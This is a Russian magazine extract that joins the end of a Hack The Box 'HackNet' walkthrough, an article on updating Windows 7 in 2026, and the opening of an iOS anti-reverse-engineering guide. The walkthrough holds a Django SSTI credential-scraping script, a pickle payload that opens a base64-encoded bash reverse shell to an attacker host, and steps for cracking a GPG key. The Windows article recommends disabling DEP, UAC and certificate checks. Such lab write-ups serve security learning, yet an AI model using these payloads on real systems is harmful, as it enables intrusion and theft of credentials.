риям, ставить лайки и отправлять сообщения.

Профиль пользователя

Поиск точки входа отнял у  меня немало времени. Обрати внимание на  то,
как ставятся лайки: при наведении на надпись появляются аватары всех поль‐
зователей, оценивших запись.

Лайки пользователей

Чтобы поставить лайк или убрать его, отправляется запрос к API ,
а чтобы получить список лайков — к API .

/like/<id>
/likes/<id>

История запросов на веб‑сервер

История запросов к API

В ответ от API  получаем список пользователей. Каждая запись содер‐

жит ID профиля, путь к аватарке и имя пользователя.

/likes

Ответ сервера

Попробуем в  поле имени пользователя записать нагрузку для  теста SSTI.
И снова запросим список лайков.

Изменение профиля пользователя

Ответ сервера

В поле, где раньше было имя пользователя, теперь пусто  — значит, в  шаб‐
лоне ошибка. Вывод: SSTI есть.

ТОЧКА ОПОРЫ

Теперь используем нагрузку  и в ответ от сервера вместо имени

пользователя получаем закодированные данные.

{{ users }}

<QuerySet [
    <SocialUser: hexhunter>,
    <SocialUser: shadowcaster>,
    <SocialUser: blackhat_wolf>,
    <SocialUser: glitch>,
    <SocialUser: codebreaker>,
    <SocialUser: shadowmancer>,
    <SocialUser: whitehat>,
    <SocialUser: brute_force>,
    <SocialUser: shadowwalker>,

  ,    <SocialUser: {{ users }}>
    <SocialUser: 1234>
]>

Ответ сервера

Для каждого объекта пользователя получим его свойства с  помощью наг‐
рузки . Осталось декодировать ответ сервера и красиво

вывести JSON через .

{{ users.values }}
jq

Ответ сервера

Декодированные данные

Среди свойств объекта пользователя есть и пароль. Значит, мы можем соб‐
рать учетные данные всех, кто ставил лайки под  постами. Для  этого нужно
лайкнуть каждый пост на сайте, а затем под каждым постом получить список
поставивших лайк. Эти действия автоматизируем следующим скриптом.

 import requests
   from bs4 import BeautifulSoup

 import re
 import json

  credentials = {}

 def req_likes(index):
        url1 = "http://hacknet.htb/like/" + str(index)
        url2 = "http://hacknet.htb/likes/" + str(index)
         

  
cookies = { "csrftoken": "FcMfMa4tKmgsKcVKpjd2uHfm5mnFfRCU", "

sessionid": "ibs7pj8fd82ym2b2yxj4w7jrepbrhu32" }

     requests.get(url1, cookies=cookies)
       response = requests.get(url2, cookies=cookies)

       if response.status_code == 200:
           soup = BeautifulSoup(response.text, 'html.parser')
           items = soup.find_all('div', class_='likes-review-item')

           for item in items:
              img = item.find('img')

               if img and img.get('title'):
                  title = img.get('title')

                   if '<QuerySet' in title:
                       match = re.search(r"<QuerySet \[(.*)\]>", title)

                     if match:
                        try:

                              json_str = match.group(1)
   

 
                            json_str = json_str.replace("True", "true
").replace("False", "false")

                               json_str = json_str.replace("'", '"')
                                  users = json.loads('[' + json_str + ']')

                               for user in users:

  
                                credentials[user.get('email').split('
@')[0]] = user.get('password')

                           except json.JSONDecodeError as e:
                            print(f"Error JSON parsing: {e}")

   for i in range(0,50):
    req_likes(i)

   for cred in credentials:
    print(f"{cred} : {credentials[cred]}")

Собранные учетные данные

У нас большой список учетных данных  — нужно проверить, не  подойдут ли
они к SSH. Сделать это можно, например, через .NetExec

nxc ssh 10.10.11.85 -u users.txt -p passwords.txt --no-bruteforce

Результат проверки учетных данных

Так мы находим валидную учетную запись и забираем первый флаг.

Флаг пользователя

Продолжение статьи →

https://t.me/RalfHackerChannel
https://www.hackthebox.eu/
https://github.com/Pennyw0rth/NetExec


HTB HACKNET
ЭКСПЛУАТИРУЕМ SSTI

ВО ФРЕЙМВОРКЕ DJANGO

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ПРОДВИЖЕНИЕ

Теперь нам необходимо собрать информацию. Я буду использовать для это‐
го скрипты PEASS.

Справка: скрипты PEASS
Что делать после того, как  мы получили доступ в  систему от  имени поль‐
зователя? Вариантов дальнейшей эксплуатации и  повышения привилегий
может быть очень много, как  в Linux, так и  в Windows. Чтобы собрать
информацию и  наметить цели, можно использовать 

 (PEASS)  — набор скриптов, которые проверяют сис‐
тему на  автомате и  выдают подробный отчет о  потенциально интересных
файлах, процессах и настройках.

Privilege Escalation
Awesome Scripts SUITE

Загрузим на  удаленный хост скрипт для  Linux, дадим право на  выполнение
и запустим. В выводе будет много данных, поэтому отберем только главное.

На сервере, в каталоге веб‑сервера, лежит файл базы данных.

Найденные файлы баз данных

В каталоге веб‑сервера есть зашифрованные файлы резервных копий.

Файлы во временных каталогах

У нас есть запись в каталог .django_cache

Доступные для записи файлы

Все найденные нами артефакты связаны с сайтом HackNet. Давай посмотрим
структуру каталогов и файлы.

Содержимое каталога HackNet

В каталоге  есть файл  с настройками кеша Django.HackNet settings.py

Содержимое файла settings.py

Кеш сохраняется в  каталоге  и  используется

в  течение  60  с. У  нас есть доступ к  этому каталогу, и  это может стать путем
к  захвату сессии другого пользователя. Если мы сериализуем свой объект
и сохраним его в файл кеша, при использовании кеша фреймворк выполнит
наш код. Подробнее об  этой технике читай в  . Первым делом нужно
найти, в каком файле используется кеш.

/var/tmp/django_cache

статье

   ./grep -iR '@cache'

Результат поиска подстроки

Переходим к  файлу  и  находим обработчик стра‐
ницы , который использует файлы кеша.

SocialNetwork/views.py
/explore

Содержимое файла views.py

Обратимся к этой странице на сайте и проверим каталог . Там

обнаружим два новых файла djcache.

django_cache

Содержимое каталога django_cache

Теперь сериализуем свой класс  с  методом , который

в  командной оболочке поднимает реверс‑шелл. Затем перезапишем оба
файла получившимися сериализованными данными.

Expl __reduce__

 import os
 import pickle

  rs = "echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC44Mi80MzIxIDA+JjE= 
| base64 -d | bash"

 class Expl:
     def __reduce__(self):

         return (os.system, (rs,),)

  payload = pickle.dumps(Expl())

  path1 = "/var/tmp/django_cache/1f0acfe7480a469402f1852f8313db86.
djcache"

  path2 = "/var/tmp/django_cache/90dbab8f3b1e54369abdeb4ba1efc106.
djcache"

os.remove(path1)
    with open(path1, "wb") as f1:

    f1.write(payload)

os.remove(path2)
    with open(path2, "wb") as f2:

    f2.write(payload)

Запускаем листенер:

pwncat-cs -lp 4321

И переходим к странице ./explore

Страница с пользователями

В листенере видим сессию в контексте пользователя веб‑сервера.

Сессия пользователя www-data

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

Мы видели зашифрованные бэкапы, принадлежащие пользователю ,

поэтому поищем в его домашнем каталоге ключи GPG.

sandy

GPG-ключ пользователя

Преобразуем файл  в формат John the Ripper и отправляем

на подбор пароля.

armored_key.asc

john/run/gpg2john armored.txt >> hash.txt
john --wordlist=rockyou.txt hash.txt

Результат подбора пароля

Импортируем ключ и расшифровываем бэкапы.

gpg --import armored_key.asc

Импорт ключа

gpg --output /tmp/backup01.sql --decrypt /var/www/HackNet/backups/
backup01.sql.gpg

Расшифровывание ключа

Быстрый поиск паролей по подстроке  приводит нас к паролю рута.pass

Поиск подстроки pass

Проверяем найденный пас и авторизуемся по SSH.

Флаг рута

Машина захвачена! © X

https://github.com/carlospolop/PEASS-ng
https://github.com/carlospolop/PEASS-ng
https://xz.aliyun.com/news/7928
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ТРЮКИ

В этой статье я покажу, как вернуть к жизни
старый ноутбук с  Windows 7  и  превратить
устаревшую систему в  более‑менее сов‐
ременную рабочую среду. Мы обновим
«семерку», несмотря на прекращение офи‐
циальной поддержки, расширим ее сов‐
местимость, оптимизируем быстродей‐
ствие и  подберем браузеры, способные
работать с  современным вебом даже
на слабом железе.

Все началось с древнего ноутбука Toshiba Satellite L300 c двумя гигабайтами
оперативки и доисторическим Celeron 560 на борту. Зная о том, как я люблю
поковыряться в старых компах, знакомые отдали мне этот аппарат со словами
«не грузится почему‑то, может, пригодится на  запчасти». Диагностика
показала, что у  «Тошибы» всего лишь загнулся жесткий диск, а  сам ноутбук
сохранился почти в идеальном состоянии — даже аккумулятор изношен всего
лишь на тридцать процентов.

Заменив сломанный накопитель современным SSD и  убедившись, что
компьютер прекрасно работает, я подумал, что лучшей операционкой
для этой музейной машины будет моя любимая Windows 7, тем более у меня
как раз имеется в запасе лицензионный компакт‑диск с дистрибутивом. Мож‐
но, конечно, скачать с торрента какую‑нибудь сборку от Васяна под названи‐
ем  со  всеми

интегрированными патчами, но  это неспортивно. Мы ведь не  ищем легких
путей?

Kolhoz_СD_Full_Driverpack_Windows_Gopnik_Edition

Вот только в  2026  году Windows 7  уже безнадежно устарела: обновления
для нее не выпускаются несколько лет, современные браузеры не работают,
да и с установкой софта наверняка возникнут проблемы. И я задумался: мож‐
но ли превратить «семерку» в современную ОС и дать ей вторую жизнь, чтобы
пользоваться старым ноутбуком с  привычным комфортом? Изыскания
и эксперименты показали, что можно. И сейчас я расскажу как.

БАЗОВАЯ ПОДГОТОВКА СИСТЕМЫ

Официальную поддержку Windows 7 корпорация Microsoft прекратила в янва‐
ре  2020  года, тогда же для  этой системы перестали выходить обновления
безопасности. Вот с  них мы и  начнем. Каким  бы парадоксальным это  ни
казалось для  ОС  2009  года рождения, установка максимально полного
набора патчей  — обязательный первый шаг. Без  них Windows 7  остается
не только уязвимой, но и функционально неполноценной: многие современ‐
ные программы и драйверы отказываются работать на «голой» операционке.

Актуальные обновления не  просто закрывают критические дыры
в  безопасности, они подтягивают последние версии системных библиотек,
обновляют корневые сертификаты и  создают базу, на  которую уже можно
относительно безболезненно ставить современный софт. Проще говоря,
прежде чем пытаться «омолаживать» экосистему программ, операционку
нужно привести хотя бы в максимально возможное актуальное состояние.

Штатный механизм Windows Update после установки ОС на  ноутбук гру‐
зить патчи отказался категорически, сославшись на  ошибку с  длинным
номером,  — то ли часть серверов обновлений в  Microsoft уже обрубили
за  ненадобностью, то ли у  них поменялись адреса. Признаюсь честно: я
перелопатил кучу информации о том, как накатить на «семерку» полный набор
существующих для нее исправлений, и даже посоветовался по этому поводу
с ИИ, а потом попробовал все предложенные способы на практике. Нормаль‐
но сработал только один из  них, поэтому, чтобы сэкономить твое время
и нервы, о нем я расскажу подробнее.

WARNING

Перед выполнением любых манипуляций в  опе‐
рационной системе не  забывай создать точку
восстановления с использованием штатного инс‐
трументария. А  еще лучше и  вовсе снять образ
системного раздела.

На самом деле поначалу я считал наиболее перспективным инструмент
под названием  — это бесплатная утилита, которая ска‐
чивает обновления Windows и Microsoft Office с серверов Microsoft на локаль‐
ный компьютер, а  затем позволяет устанавливать их на  другие машины
без  выхода в  интернет. Последняя версия WSUS Offline Update, поддержи‐
вающая Windows 7, — это 12.6.1 (выпущена в 2021 году), в более новых под‐
держка «семерки» отсутствует.

WSUS Offline Update

WSUS состоит из  двух компонентов. Первый  — собственно апдейтер.
На  вкладке Legacy Windows в  окне этого компонента можно настроить, что
именно ты будешь качать, а потом по нажатию кнопки Start в отдельном окош‐
ке командной строки запускается .Wget

Эта консольная утилита загружает все обновления с официального сайта
и аккуратно складывает их в папочку .\client

У меня проблемы начались еще на этом этапе, потому что  наотрез отка‐
зался качать патчи из‑за невозможности проверить их цифровую подпись,
поскольку… Ну да, правильно: в винде отсутствуют нужные обновления и сер‐
тификаты. Хорошо хоть в файле  в строке запуска

 можно добавить ключ , после чего ошибка
исчезла. Однако затем в  дело вступил второй компонент пакета  — утилита
Installer, которая устанавливает в систему все ранее скачанное.

Wget

cmd\DownloadUpdates.cmd
Wget --no-check-certificate

Эта программа сразу же начала выдавать ошибки по  аналогичной причине:
ей не  нравились сертификаты загруженных обновлений. Такой баг можно
обойти, запустив утилиту из  командной строки с  ключом 

, но  тут внезапно выяснилось, что WSUS Offline
Update зачем‑то скачал обновления, больше половины которых не подходит
к  моей редакции Windows 7. То есть программа нормально не  проверяет
ни версию винды, ни ее языковую локаль. В итоге, промучившись с этой ути‐
литой полдня, я решил отказаться от  WSUS Offline Update  — может быть,
у  тебя получится совладать с ее коварным характером, я же не стал тратить
на это время.

UpdateInstaller.
exe /all /verify:skip

Вместо WSUS Offline Update я воспользовался альтернативной тулзой
под названием  — и вот она на удивление отработала просто
шикарно, без единого сбоя.

Legacy Update

Legacy Update тоже состоит из  двух частей. Сначала программа выкачивает
из интернета Service Pack, наиболее критичные обновления, актуальные сер‐
тификаты и  устанавливает их. Затем после перезагрузки компьютера она
запускает Internet Explorer, в  окне которого открывается специальная стра‐
ница сайта . Здесь используется классический механизм

Windows Update с  ActiveX-контролем для  инвентаризации системы, поиска
недостающих патчей, скачивания и  установки обновлений. Страница эму‐
лирует оригинальный Windows Update, восстанавливая доступ к  центру
обновлений: ActiveX взаимодействует с  Windows Update Agent (WUA), про‐
веряет систему, а потом автоматически загружает необходимые компоненты
и сертификаты.

legacyupdate.net

У меня процесс загрузки и инсталляции всех обновлений занял почти сутки.
После завершения этого процесса штатную службу Windows Update можно
смело отключать, чтобы она бесполезно не  потребляла ресурсы и  без того
слабого ноутбука: все доступные заплатки (включая пост-2020 для ESU) уже
применены.

ОБЕСПЕЧЕНИЕ СОВМЕСТИМОСТИ

Обновления  — это  только половина дела, их одних недостаточно для  того,
чтобы в  Windows 7  заработал современный софт. Решить проблемы с  сов‐
местимостью помогает Extended Kernel под  названием . Это  раз‐
работанный энтузиастами набор расширений API, который позволяет запус‐
кать в Windows 7 приложения, предназначенные исключительно для Windows
8, 8.1 и 10.

VxKex

VxKex добавляет недостающие системные вызовы, обеспечивая сов‐
местимость с  современными программами, такими как  Steam, Microsoft
Office, некоторые Electron-приложения и браузеры (хотя поддержка Chromium
ограничена). Для  полноценной работы тулзы требуется Windows 7
SP1 с обновлениями KB2533623 и KB2670838. Рекомендуется 64-разрядная
версия ОС: проект ориентирован именно на нее. Установка проста: следует
запустить скачанное с GitHub приложение  и перезаг‐

рузить Windows, после чего расширения активируются через контекстное
меню исполняемых файлов.

KexSetup_x64Rel.exe

Дополнительные настройки для  некоторых программ описаны в  файле
, который можно найти в папке 

. Помни, что у  этой программы нет деинсталлятора:
чтобы избавиться от  VxKex, нужно будет удалить все файлы вручную, а  в
некоторых случаях может потребоваться полная переустановка или  восста‐
новление системы из резервной копии.

Application Compatibility List.docx C:\
Program Files\VxKex

ДРАЙВЕРЫ

Это, в общем‑то, очевидная вещь, но многие о ней почему‑то забывают: все
драйверы в системе обязательно нужно обновить до самой актуальной вер‐
сии. Например, на моей тошибке раз в десять минут само по себе отвалива‐
лось Wi-Fi-соединение — просто потому, что Windows установила устаревший
драйвер беспроводного адаптера, с  которым тот не  хотел нормально
работать.

Чтобы не возиться с этим вручную, я использовал старый добрый DriverPack
Solution (предварительно, разумеется, включив в  нем экспертный режим
и  отрубив автоматическую установку всякого мусорного софта), но  вместо
него можно скачать любой другой подобный инструмент.

ОПТИМИЗАЦИЯ БЫСТРОДЕЙСТВИЯ

Toshiba Satellite L300  — ноутбук очень слабый, поэтому вместо того, чтобы
любоваться красотами интерфейса Windows 7, имеет смысл сделать ставку
на  скорость отклика и  быстродействие. Если щелкнуть правой клавишей
мыши на значке компьютера в проводнике, выбрать в контекстном меню пункт
«Свойства», затем открыть вкладку «Дополнительно» и  в разделе «Быстро‐
действие» нажать кнопку «Параметры», откроется список доступных визуаль‐
ных эффектов.

Продолжение статьи →
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ВЕЛИКОЛЕПНАЯ

«СЕМЕРКА»
РЕАНИМИРУЕМ WINDOWS 7

В 2026 ГОДУ И АДАПТИРУЕМ ЕЕ
К СОВРЕМЕННОМУ ИНТЕРНЕТУ

ТРЮКИ  НАЧАЛО СТАТЬИ←

Windows 7 по умолчанию старается выглядеть красиво, поэтому в ней вклю‐
чены эффекты прозрачности, анимации и  сглаживания, но  на таком железе
все это напрямую съедает ресурсы. Переключив систему в режим максималь‐
ного быстродействия, я фактически заставил ее отказаться от декоративных
излишеств и  работать в, так сказать, утилитарном режиме. Интерфейс стал
заметно проще, зато сама система стала гораздо бодрее, что на  Celeron
и двух гигабайтах памяти ощущается практически сразу.

Там же, в  дополнительных параметрах, я перешел к  настройке виртуаль‐
ной памяти. Стандартный размер файла подкачки для  такого объема ОЗУ
быстро становится узким местом, особенно при запуске браузера и несколь‐
ких приложений. Я отключил автоматический выбор параметров и задал уве‐
личенный размер файла подкачки вручную до двух объемов оперативки. Пос‐
ле сохранения настроек система потребовала перезагрузиться.

После базовой настройки быстродействия я подключил сторонний инстру‐
мент, без  которого подобные эксперименты обходятся редко,  — 

. Это бесплатная утилита, созданная специально для тонкой
настройки Windows, в  том числе и  седьмой версии (правда, последняя сов‐
местимая с ней редакция тулзы имеет номер 2.2).

Ultimate
Windows Tweaker

По сути, Ultimate Windows Tweaker собирает в одном окне десятки скрытых
и  разбросанных по  системе параметров, до  которых вручную пришлось  бы
добираться через реестр и  малоизвестные оснастки. Здесь есть все:
от  управления поведением проводника до  настроек безопасности, служб
и  сетевых компонентов. Для  старого ноутбука ценность такого инструмента
состоит в  том, что он позволяет довольно быстро превратить «стоковую»
Windows 7 в более легкую и предсказуемую систему.

Я использовал Ultimate Windows Tweaker для  дополнительной разгрузки
интерфейса и ОС в целом. С его помощью отключаются второстепенные ком‐
поненты, скрываются элементы, которые постоянно висят в фоне, и убирают‐
ся мелкие, но  навязчивые функции вроде лишних всплывающих подсказок
и служб, не имеющих практического смысла на домашнем ноутбуке.

В разделе System Performance я отрубил службы Superfetch, Windows
Security Center и  Tablet PC Input, полностью отключил Windows Aero, Data
Execution Prevention (DEP) и включил ускоренную выгрузку DLL из памяти. Так‐
же я полностью вырубил UAC.

После нескольких вдумчивых проходов по  вкладкам система заработала
заметно шустрее. Windows перестала тратить ресурсы на действия, которые
на этом железе не дают реальной пользы, уменьшилось количество фоновых
процессов, а  отклик интерфейса стал более ровным. Ultimate Windows
Tweaker  — это  не «волшебная кнопка ускорения», а  удобный хирургический
инструмент, позволяющий без глубокого копания в реестре привести старую
ОС в состояние, максимально близкое к легкой и современной рабочей сре‐
де.

ПРОБЛЕМА БРАУЗЕРОВ

Довольно быстро выяснилось, что главный камень преткновения для «реани‐
мированной» Windows 7 — это современные браузеры. Именно от них сегод‐
ня зависит, будет ли система вообще пригодна для  повседневного исполь‐
зования. Версии Chrome (после  109), Edge (Chromium), Firefox (ESR 115+)
и Opera прекратили поддержку Windows 7 еще в 2023–2024 годах из‑за тре‐
бований TLS 1.3, SHA-2 и новых API, которые в Win7 официально отсутствуют
даже после обновлений. Браузеры либо не  запускаются (ошибка

), либо блокируют HTTPS-сайты банков
и  «Госуслуг» из‑за «небезопасных» корневых сертификатов. Да  и установ‐
щики таких браузеров просто отказываются работать, ругаясь на несовмести‐
мую версию Windows.

ERR_CERT_AUTHORITY_INVALID

В ходе загрузки обновлений Legacy Update неожиданно подтянула и бра‐
узер от Microsoft — Edge. Он стартует без проблем, но на практике оказался
почти бесполезным: интерфейс заметно тормозил, прокрутка страниц дер‐
галась, а при открытии больше двух вкладок браузер зависал намертво. Ста‐
ло очевидно, что так дальше жить нельзя.

Именно в этот момент мне пришлось сменить подход и приступить к поис‐
ку альтернатив  — специальных версий или  проектов браузеров, которые
до  сих пор поддерживают Windows 7  и  при этом способны работать с  сов‐
ременным интернетом. Этот этап оказался едва ли не самым важным во всей
истории. После длительных экспериментов, отнявших у  меня целые выход‐
ные, я остановился на  трех вариантах, успешно испытанных на  моем ноут‐
буке.

Supermium
Первым по‑настоящему удачным кандидатом оказался . Это  бра‐
узер, основанный на актуальном коде Chromium, но специально адаптирован‐
ный для  работы на  устаревших версиях Windows, включая Windows 7. Фак‐
тически речь идет о  попытке сохранить современный движок, поддержку
новых веб‑стандартов, актуальные алгоритмы шифрования и совместимость
с  большинством сайтов, но  при этом убрать жесткую привязку к  Windows
10 и 11, которая сегодня характерна почти для всех официальных сборок.

Supermium

Установка прошла без  каких‑либо проблем, что после неудачных экспе‐
риментов с  Edge уже само по  себе выглядело обнадеживающе. Supermium
корректно встал на «семерку», не потребовал экзотических библиотек и без
капризов запустился. В работе он сразу дает ощущение «нормального» сов‐
ременного браузера: большинство сайтов открываются без ошибок, коррек‐
тно работают тяжелые веб‑приложения, адекватно отображается сложная
верстка, без которой сегодня не обходится ни один популярный ресурс.

Внешне Supermium выглядит как старый добрый и давно привычный Chrome,
поэтому приспосабливаться к нему не пришлось. Конечно, чуда не случилось:
«Хромиум» сам по  себе очень прожорлив, но  на Celeron и  двух гигабайтах
памяти любой современный браузер остается самым тяжелым приложением
в  системе. В  случае с  Supermium эта нагрузка выглядит хотя  бы разумной
и  контролируемой. Несколько вкладок с  обычными сайтами ноутбук держит
без  немедленного ухода в  своп и  без постоянных «фризов», при  открытии
третьей начинает заметно тормозить и  подвисать. Так что работать
в Supermium, в принципе, можно, но открытием большого количества вкладок
лучше не увлекаться.

Mypal68
Оценив возможности Chromium, я решил попробовать счастья с  клоном
Firefox. Мой выбор пал на  . Его философия во многом противополож‐
на: вместо попытки любой ценой тянуть за собой самый свежий движок, раз‐
работчики сделали ставку на стабильную ветку Firefox, расширив ее поддер‐
жкой современных протоколов, сертификатов и  веб‑технологий настолько,
насколько это возможно в рамках Windows 7.

Mypal68

Уже при  первом запуске Mypal68  ощущается более «классическим» браузе‐
ром, с привычной для старых версий Firefox логикой интерфейса и настроек.
На  слабом ноутбуке это  даже играет в  плюс: оболочка выглядит менее
тяжелой, окна открываются быстрее, правда, сама программа стартует нес‐
терпимо долго — запустив ее, я даже открывал диспетчер задач, чтобы убе‐
диться в  наличии соответствующего процесса. Но  если все‑таки дождаться
загрузки, дальше работать с  программой становится довольно комфортно:
большинство сайтов открылись корректно, видео, разумеется, ограничено
возможностями железа, но  сами страницы загружаются и  прокручиваются
более‑менее ровно. Mypal68  лучше подходит для  сценариев, где ноутбук
используется как  «печатная машинка с  интернетом»: почта, форумы, статьи,
документация, веб‑интерфейсы без  тяжелой графики. А  вот при  попытке
открыть тяжелые веб‑приложения и 4–5 вкладок браузер начинает безбожно
лагать.

Cent Browser
Третьим кандидатом стал . Формально это тоже Chromium, но с
собственными доработками, ориентированными на  экономию ресурсов
и  расширенные настройки. В  отличие от  Supermium, который создается
именно как проект для старых Windows, Cent Browser позиционируется скорее
как  альтернативная сборка для  повседневного использования, но  при этом
сохраняет совместимость с  Windows 7  и  способен устанавливаться
и работать на ней без модификаций.

Cent Browser

Первый запуск прошел без  сюрпризов, браузер сразу показал привычную
для пользователей Chromium среду и даже предложил войти в учетку Google.
Сайты открываются без проблем, расширения из Chrome Web Store ставятся
и работают, что сразу выглядит плюсом, если ты привык к современной эко‐
системе. По  ощущениям Cent Browser работает медленнее Supermium (и
это  ощущение подтвердилось тестом), он не  такой «чистый» и  минималис‐
тичный, но  и не  столь прожорлив, как  актуальные релизы от  Google
или Microsoft.

На слабом ноутбуке это  выразилось в  довольно предсказуемом поведе‐
нии. В простых сценариях Cent Browser работает ровно, однако при открытии
нескольких вкладок он быстро упирается в  ограниченный объем памяти
и  активнее использует файл подкачки. Это  не делает его непригодным,
но  ясно показывает границу возможностей: Cent Browser подходит как  уни‐
версальный браузер для Windows 7, если нужен привычный Chromium с рас‐
ширениями и хорошей совместимостью, однако для полного счастья все‑таки
придется отправляться на  «АлиЭкспресс» или  «Авито» за  дополнительной
оперативкой.

Сравнительный тест
Чтобы проверить свои ощущения объективными цифрами, я открыл во  всех
трех браузерах сайт , который известен набором незави‐
симых тестов производительности, моделирующих реальные сценарии
работы веб‑приложений. В качестве ориентира я использовал Speedometer,
поскольку он дает достаточно наглядное представление о  том, как  браузер
справляется с  интерактивными интерфейсами и  отрисовкой страниц. Тест я
запускал несколько раз подряд, перезагружая систему между сериями, чтобы
исключить влияние кешей и фоновых процессов, и смотрел не только на ито‐
говые баллы, но и на поведение ноутбука в процессе.

browserbench.org

Mypal68, к  моему удивлению, тест провалил полностью: он зависал
в самом начале, интерфейс переставал отвечать, загрузка процессора и дис‐
ка резко возрастала, а  через некоторое время становилось понятно, что
дальше тест просто не  продвигается. В  нескольких попытках картина пов‐
торялась практически один в  один: тест зависал в  самом начале и  так и  не
доходил до  сколько‑нибудь осмысленного результата. Вне теста браузер
запускался и открывал сайты без проблем, но в условиях тяжелой синтетичес‐
кой нагрузки выяснилось, что его движок и  реализация современных API
на Windows 7 просто не рассчитаны на подобные сценарии.

Supermium и  Cent Browser показали в  Speedometer схожие, но  очень
скромные результаты: 1,92  и  1,67  балла соответственно. На  старом Celeron
с двумя гигабайтами памяти такие показатели означают, что браузеры справ‐
ляются с  современным вебом, но  без излишнего энтузиазма: страницы
открываются, прокрутка работает, скрипты выполняются, но  любое резкое
увеличение нагрузки приводит к  заметным тормозам. При  этом Supermium
выглядел чуть бодрее — страницы загружались быстрее, интерфейс оставал‐
ся отзывчивее, а Cent Browser на тех же тестах гораздо сильнее тормозил.

ЗАКЛЮЧЕНИЕ

Эксперимент с  «реанимацией» Windows 7  на  слабом ноутбуке показал, что
старое железо и  устаревшая операционная система  — это  вовсе не  при‐
говор: даже такое устройство еще  можно использовать для  набора текста
и просмотра новостей в сети. Конечно, чуда не случилось: Celeron 560 и два
гигабайта оперативки накладывают жесткие ограничения на  возможности
машины, а  современные браузеры и  ресурсоемкие программы чувствуют
себя в таких условиях буквально на пределе.

Как  бы то ни  было, но, на  мой субъективный взгляд, «семерка»  — самая
удачная ОС от  Microsoft после Windows XP, и, если мне попал в  руки вполне
исправный компьютер, способный потянуть эту систему, грех не  восполь‐
зоваться такой возможностью. Если постараться, вполне можно превратить
музейную Windows 7  в  рабочую среду, пригодную для  серфинга, просмотра
почты и повседневных задач. Такой ноутбук будет полезен где‑нибудь на даче
или в поездке с палатками и шашлыками за город вместо музыкального про‐
игрывателя, благо, как выяснилось, у него вполне живой аккумулятор. Иногда
этого уже достаточно, чтобы древняя техника снова приносила пользу. © X

https://www.thewindowsclub.com/ultimate-windows-tweaker-v2-a-tweak-ui-for-windows-7-vista
https://www.thewindowsclub.com/ultimate-windows-tweaker-v2-a-tweak-ui-for-windows-7-vista
https://github.com/win32ss/supermium/releases
https://github.com/Feodor2/Mypal68/releases
https://www.centbrowser.com/
https://browserbench.org/
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КОДИНГ

Если ты когда‑нибудь публиковал приложе‐
ние в  App Store и  спустя пару недель
находил его взломанную версию
на  каком‑то сомнительном ресурсе, эта
статья для тебя. Здесь я разберу реальные
техники защиты iOS-приложений
от реверс‑инжиниринга, взлома и модифи‐
каций.

Мы разберем, как работают атаки на мобильные приложения, какие инстру‐
менты используют взломщики и, главное, как  противостоять этим угрозам
на практике. Мы пройдем путь от базовых методов обфускации кода до прод‐
винутых техник runtime-защиты, антиотладки и детекта джейлбрейка.

Я поделюсь примерами кода, которые можно сразу внедрить в  проект,
и  расскажу о  подводных камнях, с  которыми сталкивался лично. Эти знания
пригодятся при  разработке финтех‑приложений, игр с  внутриигровыми
покупками, корпоративных решений  — словом, везде, где важна безопас‐
ность и целостность кода.

ЗАЧЕМ ЭТО ВООБЩЕ НУЖНО?

Когда я только начинал работать с  iOS, мне казалось, что платформа Apple
достаточно закрыта сама по  себе. App Store Review, код‑подпись, песоч‐
ница — разве этого недостаточно? Практика показала обратное.

Приложения взламывают по разным причинам. Кто‑то хочет обойти плат‐
ные функции или  внутриигровые покупки. Кто‑то ищет API-ключи и  токены,
чтобы злоупотреблять ими позже. Кто‑то просто изучает твое приложение,
чтобы создать конкурентный продукт. А  иногда злоумышленники модифи‐
цируют легитимное приложение, добавляя в  него вредоносный код, и  рас‐
пространяют через сторонние магазины.

Джейлбрейк значительно упрощает взлом. На устройствах с джейлом мож‐
но запускать произвольный код, перехватывать системные вызовы, инжектить
библиотеки в процессы. Но даже без джейлбрейка возможностей достаточ‐
но — дампинг приложения из памяти, статический анализ бинарника, манипу‐
ляции с файловой системой через резервную копию.

ЧТО ТАКОЕ РЕВЕРС-ИНЖИНИРИНГ И КАК ОН РАБОТАЕТ

Реверс‑инжиниринг iOS-приложения — это процесс извлечения информации
о его внутреннем устройстве без доступа к исходному коду. Цель может быть
разной: понять алгоритмы работы, найти уязвимости, извлечь секретные дан‐
ные или модифицировать поведение.

Типичный порядок действий атакующего выглядит так:
1.  Легитимный способ  — скачать свое купленное

приложение с устройства через iTunes или через iMazing. Нелегитимный —
использовать специализированные сервисы, которые предоставляют дек‐
риптованные IPA.

Получение IPA-файла.

2.  Приложения из  App Store зашифрованы

FairPlay DRM. На  джейлбрейк‑устройстве инструменты вроде Clutch
или frida-ios-dump позволяют дампить приложение из памяти в декрипто‐
ванном виде.

Декриптование бинарника.

3.  С  помощью Hopper, IDA Pro или  Ghidra бинарник
дизассемблируется. Код на  Swift частично деобфусцируется благодаря
метаинформации, которую компилятор оставляет в бинарнике. Objective-C
вообще читается почти как  исходники  — все имена методов, классов
и протоколов сохраняются.

Статический анализ.

4.  Запуск приложения под  отладчиком (LLDB),

использование Frida для  runtime-хуков, перехват сетевых запросов через
Charles или Burp Suite.

Динамический анализ.

5.  Патчинг бинарника (изменение инструкций процессора),

инжект собственных библиотек, подмена ресурсов, пересборка IPA и уста‐
новка через сайдлоадинг.

Модификация.

Я как‑то проводил эксперимент с  собственным приложением. Установил
Hopper, загрузил туда свой бинарник — и был крайне удивлен. Все названия
методов, структуры классов, даже строковые константы с  API-эндпоинтами
были видны как на ладони. Вот тогда и пришло понимание, что защита нужна.

БАЗОВЫЕ ПРИНЦИПЫ ЗАЩИТЫ

Прежде чем перейти к конкретным техникам, важно понять философию. Абсо‐
лютной защиты не  существует. Любой механизм можно обойти, если у  ата‐
кующего достаточно времени, знаний и  мотивации. Наша задача  — мак‐
симально усложнить процесс, сделать его экономически невыгодным.

Я придерживаюсь принципа эшелонированной обороны (defense in depth).
Одна техника легко обходится. Десять техник, примененных одновременно,
заставят злоумышленника потратить дни или недели работы. Часто этого дос‐
таточно, чтобы он переключился на более легкие цели.

Второй важный момент  — баланс безопасности и  производительности.
Некоторые техники защиты могут замедлить приложение или усложнить раз‐
работку. Нужно оценивать риски конкретно для  твоего продукта. Игра
с  покупками за  реальные деньги требует серьезной защиты. Если у  тебя
простая утилита для заметок, то, возможно, не стоит париться.

ОБФУСКАЦИЯ КОДА

Обфускация — это преобразование кода таким образом, чтобы он оставался
